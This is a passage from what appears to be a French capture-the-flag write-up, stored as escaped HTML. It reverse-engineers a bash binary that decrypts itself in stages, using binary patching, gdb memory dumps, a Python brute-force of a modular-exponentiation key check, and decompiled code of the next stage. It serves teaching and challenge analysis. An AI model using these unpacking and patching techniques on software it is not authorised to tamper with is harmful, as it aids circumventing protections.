&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;unk_14F450&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_mm_loadu_si128&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;sub_89675&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;fork_and_spawn&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;munmap_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;98323L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Comme je suis un gros flemmard, j'ai voulu patcher le binaire avec un "int3", mais comme bash met en place ses sighandler, je finis par atterrir dans la fonction de sighandler. Du coup j'ai remplacé le "int3" par un "jmp $0" (&lt;code&gt;\xeb\xfe&lt;/code&gt;) après la fonction de déchiffrement et dumpé le buffer avec gdb en m'attachant au process.&lt;/p&gt;
&lt;p&gt;La fonction dans le buffer alloué va ensuite être appelée: &lt;code&gt;((unsigned int (__fastcall *)(const char *))(v1 + 143))(v2)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;L'algo est simple: il fait une exponentiation modulaire de chaque char de la chaîne passée en argument, et vérifie que le résultat est égal à une certaine valeur. Comme on a au maximum 128 chars à essayer, on peut se permettre de bruteforce et éviter de faire des maths puissantes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;bf_char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;selected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7f&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;pow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;selected&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;selected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Other candidate &lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;selected&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Comme j'étais trop flemmard pour faire un script qui extrait les paramètres automatiquement, je l'ai fait à la main à minuit et aidé de ma Sainte Bière :'). Puis une fois avoir lancé le script qui ressemble à ça:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;bf_char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;selected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7f&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;pow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;selected&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;selected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Other candidate &lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;selected&lt;/span&gt;

&lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;65&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;elts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x7b7bc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3fa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6af18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x3fbeb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x2a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xd56d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="c1"&gt;# snipped&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x3dbca&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x377&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5de6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;elts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bf_char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="c1"&gt;#print(hex(e[3]))&lt;/span&gt;
    &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elts&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;pos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;j'obtiens la bonne valeur pour la variable d'environnement: &lt;code&gt;mIB8vFxWAQ5RkO7MXzDKnjTbYIdbwQQbxSyU6XvIoS39zmdKrHHCOevfUt5oBDZh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Comme d'hab, cette valeur est encore une clé de chiffrement pour la suite, et on remet un &lt;code&gt;jmp $0&lt;/code&gt; après la fonction pour dumper le stage "final":&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;fork_and_spawn&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kr"&gt;__m128i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// rbx&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// rax&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1648&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// [rsp-1CF8h] [rbp-DD10h] BYREF&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// [rsp-1688h] [rbp-D6A0h] BYREF&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5841&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// [rsp-688h] [rbp-C6A0h] BYREF&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;-6144&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5631&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__readfsqword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x28u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;memcpy_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unk_ECB08&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;50784&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__m128i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sh_malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;64L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;evalstring.c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;401L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i64&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;m128i_i64&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;m128i_i64&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;m128i_i64&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;m128i_i64&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;m128i_i64&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;m128i_i64&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;m128i_i64&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_mm_load_si128&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__m128i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;xmmword_14F220&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_mm_load_si128&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__m128i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;xmmword_14F230&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_mm_load_si128&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__m128i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;xmmword_14F240&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_mm_load_si128&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__m128i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;xmmword_14F250&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
